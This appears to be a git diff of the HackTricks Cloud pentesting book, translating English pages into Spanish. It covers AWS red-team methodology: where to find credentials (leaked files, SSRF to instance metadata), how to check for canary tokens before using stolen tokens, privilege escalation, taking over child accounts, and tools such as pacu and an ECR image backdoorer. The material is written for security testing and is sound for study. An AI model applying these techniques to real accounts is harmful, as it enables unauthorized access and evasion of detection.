- **Sensitive disabled**
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
- **Exposición de Variables Sensibles**
- **Mala Configuración:** Prefijar variables sensibles con `NEXT_PUBLIC_`, haciéndolas accesibles en el lado del cliente.
- **Riesgo:** Exposición de claves API, credenciales de base de datos u otros datos sensibles al público, lo que lleva a filtraciones de datos.
- **Sensibles deshabilitados**
- **Mala Configuración:** Si está deshabilitado (por defecto), es posible leer los valores de los secretos generados.
- **Riesgo:** Aumento de la probabilidad de exposición accidental o acceso no autorizado a información sensible.
{{#include ../banners/hacktricks-training.md}}

View File

@@ -2,17 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Información Básica
**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
**Antes de comenzar el pentesting** en un **entorno de AWS**, hay algunas **cosas básicas que necesitas saber** sobre cómo funciona AWS para ayudarte a entender qué necesitas hacer, cómo encontrar configuraciones incorrectas y cómo explotarlas.
Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
Conceptos como la jerarquía de organización, IAM y otros conceptos básicos se explican en:
{{#ref}}
aws-basic-information/
{{#endref}}
## Labs to learn
## Laboratorios para aprender
- [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
- [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
@@ -22,49 +22,49 @@ aws-basic-information/
- [http://flaws.cloud/](http://flaws.cloud/)
- [http://flaws2.cloud/](http://flaws2.cloud/)
Tools to simulate attacks:
Herramientas para simular ataques:
- [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
- [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
## AWS Pentester/Red Team Methodology
## Metodología de Pentester/Red Team de AWS
In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
Para auditar un entorno de AWS, es muy importante saber: qué **servicios se están utilizando**, qué está **siendo expuesto**, quién tiene **acceso** a qué, y cómo están conectados los servicios internos de AWS y los **servicios externos**.
From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
Desde el punto de vista de un Red Team, el **primer paso para comprometer un entorno de AWS** es conseguir obtener algunas **credenciales**. Aquí tienes algunas ideas sobre cómo hacerlo:
- **Leaks** in github (or similar) - OSINT
- **Social** Engineering
- **Password** reuse (password leaks)
- Vulnerabilities in AWS-Hosted Applications
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) with access to metadata endpoint
- **Local File Read**
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
- 3rd parties **breached**
- **Internal** Employee
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)credentials
- **Filtraciones** en github (o similar) - OSINT
- **Ingeniería** Social
- Reutilización de **contraseñas** (filtraciones de contraseñas)
- Vulnerabilidades en Aplicaciones Alojadas en AWS
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) con acceso al endpoint de metadatos
- **Lectura de Archivos Locales**
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
- **terceros** **comprometidos**
- Empleado **Interno**
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)credenciales
Or by **compromising an unauthenticated service** exposed:
O comprometiendo un servicio **no autenticado** expuesto:
{{#ref}}
aws-unauthenticated-enum-access/
{{#endref}}
Or if you are doing a **review** you could just **ask for credentials** with these roles:
O si estás haciendo una **revisión**, podrías simplemente **pedir credenciales** con estos roles:
{{#ref}}
aws-permissions-for-a-pentest.md
{{#endref}}
> [!NOTE]
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
> Después de haber conseguido obtener credenciales, necesitas saber **a quién pertenecen esas credenciales**, y **a qué tienen acceso**, por lo que necesitas realizar alguna enumeración básica:
## Basic Enumeration
## Enumeración Básica
### SSRF
If you found a SSRF in a machine inside AWS check this page for tricks:
Si encontraste un SSRF en una máquina dentro de AWS, consulta esta página para trucos:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
@@ -72,8 +72,7 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
### Whoami
One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
Una de las primeras cosas que necesitas saber es quién eres (en qué cuenta estás y otra información sobre el entorno de AWS):
```bash
# Easiest way, but might be monitored?
aws sts get-caller-identity
@@ -89,117 +88,113 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
```
> [!CAUTION]
> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
> Tenga en cuenta que las empresas pueden usar **canary tokens** para identificar cuándo **se están robando y utilizando tokens**. Se recomienda verificar si un token es un canary token o no antes de usarlo.\
> Para más información [**ver esta página**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
### Org Enumeration
### Enumeración de Organizaciones
{{#ref}}
aws-services/aws-organizations-enum.md
{{#endref}}
### IAM Enumeration
### Enumeración de IAM
If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
Si tiene suficientes permisos, **verificar los privilegios de cada entidad dentro de la cuenta de AWS** le ayudará a entender qué puede hacer usted y otras identidades y cómo **escalar privilegios**.
If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
Check **how to do the numeration and brute-forcing** in:
Si no tiene suficientes permisos para enumerar IAM, puede **robarlos mediante fuerza bruta** para averiguarlos.\
Verifique **cómo realizar la enumeración y la fuerza bruta** en:
{{#ref}}
aws-services/aws-iam-enum.md
{{#endref}}
> [!NOTE]
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
> In the following section you can check some ways to **enumerate some common services.**
> Ahora que **tiene algo de información sobre sus credenciales** (y si es un red team, espero que **no haya sido detectado**). Es hora de averiguar qué servicios se están utilizando en el entorno.\
> En la siguiente sección puede verificar algunas formas de **enumerar algunos servicios comunes.**
## Services Enumeration, Post-Exploitation & Persistence
## Enumeración de Servicios, Post-Explotación y Persistencia
AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
AWS tiene una asombrosa cantidad de servicios, en la siguiente página encontrará **información básica, enumeración** cheatsheets\*\*,\*\* cómo **evitar la detección**, obtener **persistencia** y otros trucos de **post-explotación** sobre algunos de ellos:
{{#ref}}
aws-services/
{{#endref}}
Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](#automated-tools).
Tenga en cuenta que **no** necesita realizar todo el trabajo **manualmente**, a continuación en esta publicación puede encontrar una **sección sobre** [**herramientas automáticas**](#automated-tools).
Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
Además, en esta etapa puede haber descubierto **más servicios expuestos a usuarios no autenticados**, podría ser capaz de explotarlos:
{{#ref}}
aws-unauthenticated-enum-access/
{{#endref}}
## Privilege Escalation
## Escalación de Privilegios
If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
Si puede **ver al menos sus propios permisos** sobre diferentes recursos, podría **ver si puede obtener más permisos**. Debería centrarse al menos en los permisos indicados en:
{{#ref}}
aws-privilege-escalation/
{{#endref}}
## Publicly Exposed Services
## Servicios Expuestos Públicamente
While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
Mientras enumeraba los servicios de AWS, puede haber encontrado algunos de ellos **exponiendo elementos a Internet** (puertos de VM/Contenedores, bases de datos o servicios de cola, instantáneas o buckets...).\
Como pentester/red teamer, siempre debe verificar si puede encontrar **información sensible / vulnerabilidades** en ellos, ya que podrían proporcionarle **más acceso a la cuenta de AWS**.
In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
En este libro debería encontrar **información** sobre cómo encontrar **servicios de AWS expuestos y cómo verificarlos**. Sobre cómo encontrar **vulnerabilidades en servicios de red expuestos**, le recomendaría **buscar** el **servicio** específico en:
{{#ref}}
https://book.hacktricks.wiki/
{{#endref}}
## Compromising the Organization
## Comprometiendo la Organización
### From the root/management account
### Desde la cuenta raíz/administrativa
When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
Cuando la cuenta de administración crea nuevas cuentas en la organización, se crea un **nuevo rol** en la nueva cuenta, llamado por defecto **`OrganizationAccountAccessRole`** y otorgando la política de **AdministratorAccess** a la **cuenta de administración** para acceder a la nueva cuenta.
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
So, in order to access as administrator a child account you need:
Por lo tanto, para acceder como administrador a una cuenta secundaria, necesita:
- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
- To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
- You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
- **Comprometer** la **cuenta de administración** y encontrar el **ID** de las **cuentas secundarias** y los **nombres** del **rol** (OrganizationAccountAccessRole por defecto) que permite a la cuenta de administración acceder como administrador.
- Para encontrar cuentas secundarias, vaya a la sección de organizaciones en la consola de aws o ejecute `aws organizations list-accounts`
- No puede encontrar el nombre de los roles directamente, así que verifique todas las políticas IAM personalizadas y busque cualquier que permita **`sts:AssumeRole` sobre las cuentas secundarias descubiertas previamente**.
- **Comprometer** un **principal** en la cuenta de administración con **permiso `sts:AssumeRole` sobre el rol en las cuentas secundarias** (incluso si la cuenta permite que cualquiera de la cuenta de administración se impersonifique, como es una cuenta externa, son necesarios permisos específicos de `sts:AssumeRole`).
## Automated Tools
## Herramientas Automáticas
### Recon
- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Una herramienta de **colección de inventario** enfocada en la seguridad de AWS, multihilo, escrita en Ruby.
```bash
# Install
gem install aws_recon
# Recon and get json
AWS_PROFILE=<profile> aws_recon \
--services S3,EC2 \
--regions global,us-east-1,us-east-2 \
--verbose
--services S3,EC2 \
--regions global,us-east-1,us-east-2 \
--verbose
```
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist es una **herramienta multi-nube para obtener Activos** (Nombres de host, Direcciones IP) de Proveedores de Nube.
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper te ayuda a analizar tus entornos de Amazon Web Services (AWS). Ahora contiene mucha más funcionalidad, incluyendo auditoría de problemas de seguridad.
```bash
# Installation steps in github
# Create a config.json file with the aws info, like:
{
"accounts": [
{
"default": true,
"id": "<account id>",
"name": "dev"
}
],
"cidrs":
{
"2.2.2.2/28": {"name": "NY Office"}
}
"accounts": [
{
"default": true,
"id": "<account id>",
"name": "dev"
}
],
"cidrs":
{
"2.2.2.2/28": {"name": "NY Office"}
}
}
# Enumerate
@@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev
python cloudmapper.py prepare #Prepare webserver
python cloudmapper.py webserver #Show webserver
```
- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
- [**cartography**](https://github.com/lyft/cartography): Cartography es una herramienta de Python que consolida los activos de infraestructura y las relaciones entre ellos en una vista gráfica intuitiva impulsada por una base de datos Neo4j.
```bash
# Install
pip install cartography
@@ -240,17 +233,15 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase recopila activos y relaciones de servicios y sistemas, incluyendo infraestructura en la nube, aplicaciones SaaS, controles de seguridad y más en una vista gráfica intuitiva respaldada por la base de datos Neo4j.
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Usa python2) Esta es una herramienta que intenta **descubrir todos** los [**recursos de AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) creados en una cuenta.
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Es una herramienta para **obtener todas las direcciones IP públicas** (tanto IPv4/IPv6) asociadas con una cuenta de AWS.
### Privesc & Exploiting
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
- Note that pacu **only checks your own privescs paths** (not account wide).
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Descubre los usuarios más privilegiados en el entorno de AWS escaneado, incluyendo a los AWS Shadow Admins. Utiliza powershell. Puedes encontrar la **definición de políticas privilegiadas** en la funcn **`Check-PrivilegedPolicy`** en [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu es un **framework de explotación de AWS** de código abierto, diseñado para pruebas de seguridad ofensivas contra entornos en la nube. Puede **enumerar**, encontrar **configuraciones incorrectas** y **explotarlas**. Puedes encontrar la **definición de permisos privilegiados** en [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) dentro del diccionario **`user_escalation_methods`**.
- Ten en cuenta que pacu **solo verifica tus propios caminos de privesc** (no a nivel de cuenta).
```bash
# Install
## Feel free to use venvs
@@ -264,9 +255,7 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) es un script y biblioteca para identificar riesgos en la configuración de AWS Identity and Access Management (IAM) para una cuenta de AWS o una organización de AWS. Modela los diferentes Usuarios y Roles de IAM en una cuenta como un grafo dirigido, lo que permite verificar **escaladas de privilegios** y caminos alternativos que un atacante podría tomar para obtener acceso a un recurso o acción en AWS. Puedes verificar los **permisos utilizados para encontrar caminos de privesc** en los nombres de archivo que terminan en `_edges.py` en [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
```bash
# Install
pip install principalmapper
@@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining es una herramienta de evaluación de seguridad de AWS IAM que identifica violaciones del principio de menor privilegio y genera un informe HTML priorizado por riesgo.\
Mostrará los clientes **sobre privilegiados** potencialmente, las **políticas** en línea y de aws, y qué **principales tienen acceso a ellas**. (No solo verifica privesc, sino también otros tipos de permisos interesantes, se recomienda su uso).
```bash
# Install
pip install cloudsplaining
@@ -303,24 +290,20 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack evalúa cuentas de AWS en busca de **vulnerabilidades de secuestro de subdominios** como resultado de configuraciones desacopladas de Route53 y CloudFront.
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Listar repositorios ECR -> Extraer repositorio ECR -> Insertar puerta trasera -> Subir imagen con puerta trasera
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag es una herramienta que **busca** a través de instantáneas públicas de Elastic Block Storage (**EBS**) en busca de secretos que pueden haber sido dejados accidentalmente.
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
### Audit
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
### Auditoría
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit de Aqua es un proyecto de código abierto diseñado para permitir la detección de **riesgos de seguridad en cuentas de infraestructura en la nube**, incluyendo: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) y GitHub (no busca ShadowAdmins).
```bash
./index.js --csv=file.csv --console=table --config ./config.js
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
## use "cis" for cis level 1 and 2
```
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler es una herramienta de seguridad de código abierto para realizar evaluaciones de las mejores prácticas de seguridad de AWS, auditorías, respuesta a incidentes, monitoreo continuo, endurecimiento y preparación forense.
```bash
# Install python3, jq and git
# Install
@@ -331,15 +314,11 @@ prowler -v
prowler <provider>
prowler aws --profile custom-profile [-M csv json json-asff html]
```
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. Its an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox te ayuda a obtener conciencia situacional en entornos de nube desconocidos. Es una herramienta de línea de comandos de código abierto creada para ayudar a los pentesters y otros profesionales de la seguridad ofensiva a encontrar rutas de ataque explotables en la infraestructura de la nube.
```bash
cloudfox aws --profile [profile-name] all-checks
```
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite es una herramienta de auditoría de seguridad multi-nube de código abierto, que permite la evaluación de la postura de seguridad de los entornos en la nube.
```bash
# Install
virtualenv -p python3 venv
@@ -350,18 +329,16 @@ scout --help
# Get info
scout aws -p dev
```
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (usa python2.7 y parece no estar mantenido)
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus es una herramienta poderosa para las mejores prácticas de endurecimiento de AWS EC2 / S3 / CloudTrail / CloudWatch / KMS (parece no estar mantenida). Solo verifica las credenciales configuradas por defecto dentro del sistema.
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
### Auditoría Constante
### Constant Audit
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
## DEBUG: Capture AWS cli requests
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian es un motor de reglas para gestionar cuentas y recursos de nube pública. Permite a los usuarios **definir políticas para habilitar una infraestructura en la nube bien gestionada**, que sea segura y optimizada en costos. Consolida muchos de los scripts ad-hoc que las organizaciones tienen en una herramienta ligera y flexible, con métricas y reportes unificados.
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** es una plataforma para **monitoreo continuo de cumplimiento, reporte de cumplimiento y automatización de seguridad para la nube**. En PacBot, las políticas de seguridad y cumplimiento se implementan como código. Todos los recursos descubiertos por PacBot se evalúan contra estas políticas para medir la conformidad con las políticas. El marco **auto-fix** de PacBot proporciona la capacidad de responder automáticamente a las violaciones de políticas tomando acciones predefinidas.
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert es un marco de análisis de datos **en tiempo real** sin servidor que te permite **ingresar, analizar y alertar** sobre datos de cualquier entorno, **usando fuentes de datos y lógica de alertas que defines**. Los equipos de seguridad informática utilizan StreamAlert para escanear terabytes de datos de registro todos los días para la detección y respuesta a incidentes.
## DEBUG: Capturar solicitudes de AWS cli
```bash
# Set proxy
export HTTP_PROXY=http://localhost:8080
@@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
# Run aws cli normally trusting burp cert
aws ...
```
## References
## Referencias
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,103 +1,91 @@
# AWS - Basic Information
# AWS - Información Básica
{{#include ../../../banners/hacktricks-training.md}}
## Organization Hierarchy
## Jerarquía de Organización
![](<../../../images/image (151).png>)
### Accounts
### Cuentas
In AWS, there is a **root account**, which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
En AWS, hay una **cuenta raíz**, que es el **contenedor principal para todas las cuentas** de tu **organización**. Sin embargo, no necesitas usar esa cuenta para desplegar recursos, puedes crear **otras cuentas para separar diferentes infraestructuras de AWS** entre ellas.
This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
Esto es muy interesante desde el punto de vista de la **seguridad**, ya que **una cuenta no podrá acceder a los recursos de otra cuenta** (excepto si se crean puentes específicamente), de esta manera puedes crear límites entre los despliegues.
Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
Por lo tanto, hay **dos tipos de cuentas en una organización** (estamos hablando de cuentas de AWS y no de cuentas de usuario): una única cuenta que se designa como la cuenta de gestión, y una o más cuentas miembro.
- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
- La **cuenta de gestión (la cuenta raíz)** es la cuenta que usas para crear la organización. Desde la cuenta de gestión de la organización, puedes hacer lo siguiente:
- Create accounts in the organization
- Invite other existing accounts to the organization
- Remove accounts from the organization
- Manage invitations
- Apply policies to entities (roots, OUs, or accounts) within the organization
- Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
- It's possible to login as the root user using the email and password used to create this root account/organization.
- Crear cuentas en la organización
- Invitar a otras cuentas existentes a la organización
- Eliminar cuentas de la organización
- Gestionar invitaciones
- Aplicar políticas a entidades (raíces, OUs o cuentas) dentro de la organización
- Habilitar la integración con servicios de AWS compatibles para proporcionar funcionalidad de servicio en todas las cuentas de la organización.
- Es posible iniciar sesión como el usuario raíz utilizando el correo electrónico y la contraseña utilizados para crear esta cuenta raíz/organización.
The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
- Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
La cuenta de gestión tiene las **responsabilidades de una cuenta pagadora** y es responsable de pagar todos los cargos que son acumulados por las cuentas miembro. No puedes cambiar la cuenta de gestión de una organización.
- Las **cuentas miembro** constituyen el resto de las cuentas en una organización. Una cuenta puede ser miembro de solo una organización a la vez. Puedes adjuntar una política a una cuenta para aplicar controles solo a esa cuenta.
- Las cuentas miembro **deben usar una dirección de correo electrónico válida** y pueden tener un **nombre**, en general no podrán gestionar la facturación (pero podrían recibir acceso a ella).
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
### **Unidades de Organización**
### **Organization Units**
Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
Las cuentas se pueden agrupar en **Unidades de Organización (OU)**. De esta manera, puedes crear **políticas** para la Unidad de Organización que se van a **aplicar a todas las cuentas hijas**. Ten en cuenta que una OU puede tener otras OUs como hijas.
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
